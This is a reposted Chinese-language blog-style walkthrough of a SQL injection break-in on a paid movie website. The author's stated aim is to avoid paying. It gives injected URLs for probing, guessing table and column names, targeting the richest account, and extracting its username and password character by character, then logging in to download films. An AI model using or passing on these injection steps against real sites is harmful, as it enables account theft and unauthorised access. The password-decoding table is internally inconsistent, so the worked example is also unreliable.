[NB聯(lián)盟原創(chuàng)]SQL注入網(wǎng)站入侵案例
發(fā)表時(shí)間:2024-01-27 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]這幾天閑得無聊,想上網(wǎng)Down幾部電影來看,找了找都是要Money的,不爽,花時(shí)間跑去匯錢還不如找個(gè)有漏洞的黑一黑。于是,計(jì)劃開始: (為避免不必要的誤會(huì),網(wǎng)址、用戶名、密碼做了一些修改,不過方法是100%原汁原味) 1.尋找入口 準(zhǔn)備:如果你以前沒嘗試過SQL注入攻擊,那應(yīng)該把HTTP友好提示關(guān)...
這幾天閑得無聊,想上網(wǎng)Down幾部電影來看,找了找都是要Money的,不爽,花時(shí)間跑去匯錢還不如找個(gè)有漏洞的黑一黑。于是,計(jì)劃開始:
(為避免不必要的誤會(huì),網(wǎng)址、用戶名、密碼做了一些修改,不過方法是100%原汁原味)
1.尋找入口
準(zhǔn)備:如果你以前沒嘗試過SQL注入攻擊,那應(yīng)該把HTTP友好提示關(guān)閉,這樣才能讓你清楚看到服務(wù)器端返回的提示信息。
嘗試幾個(gè)有傳入?yún)?shù)的頁面,逐個(gè)測試是否有SQL注入漏洞,識(shí)別方法為:把網(wǎng)址欄的ID=***x加個(gè)'號(hào),或在表單輸入'號(hào),如果提示表達(dá)式錯(cuò)誤,表示有漏洞可注入,另外,通過這個(gè)方式可以得到程序所用的數(shù)據(jù)庫類型。
經(jīng)測試,發(fā)現(xiàn)有幾個(gè)頁面有注入漏洞,決定從http://www.movie.com/movie.asp?ID=1000入手,輸入http://www.movie.com/movie.asp?ID=1000',得到信息:數(shù)據(jù)庫用是的ACCESS,提示ArticleID=1000'附近有表達(dá)式錯(cuò)誤,嘿,原來是個(gè)用文章系統(tǒng)改出來的電影站。
2.觀察網(wǎng)站環(huán)境
網(wǎng)站提供的功能有:影片分類、影片介紹、影片搜索,影片的ID大概從1000-1500之間。
3.猜表名
查清楚敵人情況之后,開始行動(dòng),行動(dòng)的第一步都是從猜表名開始,http://www.movie.com/movie.asp?ID=1000,把1000改成(select count(1) from user),那么,他原來的SQL語句將會(huì)變成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜對(duì)表名,將有可能出現(xiàn)下面三種情況:
A.顯示某部影片的信息(巧合的情況)
B.顯示影片找不到(如果有判斷是否為EOF)
C.提示錯(cuò)誤信息(EOF OR BOF)
如果猜錯(cuò),將會(huì)直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用戶,yonghu這些常用表名一個(gè)個(gè)放進(jìn)去試,一般成功率都不低于80%
結(jié)果,成功猜中該網(wǎng)站的用戶名表名為users
4.猜列名
至于猜列名,不用我介紹大家都應(yīng)該清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如沒提示"找不到字段"就表示字段名是正確的,字段一般不用太費(fèi)力,在Login的時(shí)候看看表單的名稱就大概可以猜到一些了。
果然,這個(gè)網(wǎng)站也不例外,用戶表中字段為ID(數(shù)字),UserID(文本),Password(文本),積分字段猜得比較費(fèi)勁,為money
5.鎖定目標(biāo)
讓users表只返回money最多的一個(gè)記錄,以便進(jìn)行猜解、并避免猜中一些沒money的用戶名:
http://www.movie.com/movie.asp?ID=(select 1000 from user where money>1000) 結(jié)果:提示子查詢不能返回兩條以上記錄
鎖定>10000,提示不變;
鎖定>100000,提示找不到記錄,說明沒有積分大于10萬的用戶;
從1萬到10萬逐步縮小范圍,得知積分大于25500只有一條記錄。
6.計(jì)算用戶名及密碼長度
因?yàn)橛捌腎D大概從1000-1500之間,可以用UserID的長度+1000得出的數(shù)(即影片ID)計(jì)算用戶名長度,鍵入:
http://www.movie.com/movie.asp?ID=(select len(UserID) %2B 1000 from user where money>25500)
%2B是什么?因?yàn)榈刂窓诘?號(hào)request出來會(huì)變成空格,所以+號(hào)要用UrlEncode過的%2B表示。
結(jié)果返回片名為《雙雄》的影片,呵呵,怎么辦?不是有搜索功能嗎?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,顯然,用戶名長度為1006-1000=6;同樣方法,得出密碼的長度為8
7.分步破解用戶名
有點(diǎn)SQL應(yīng)用經(jīng)驗(yàn)的人應(yīng)該都想到方法了,來,敲入:
http://www.movie.com/movie.asp?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID為1104,即asc(mid(UserID,1,1))=104
同樣方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因?yàn)閘en(UserID)=6,所以算到第6位就行了,查asc對(duì)應(yīng)表(會(huì)編程的可以寫幾句話算出來),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
連起來,用戶名就是huajie
8.同樣的方法破解密碼
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起來:19780712,哈哈,又是用生日做密碼的!
接下來,輸入用戶名和密碼,登錄系統(tǒng),成功!猜表名列表之前用了30分鐘,破解用了15分鐘,45分鐘搞掂了一個(gè)站。接下來做什么?當(dāng)然是先Down幾G的電影下來再說了。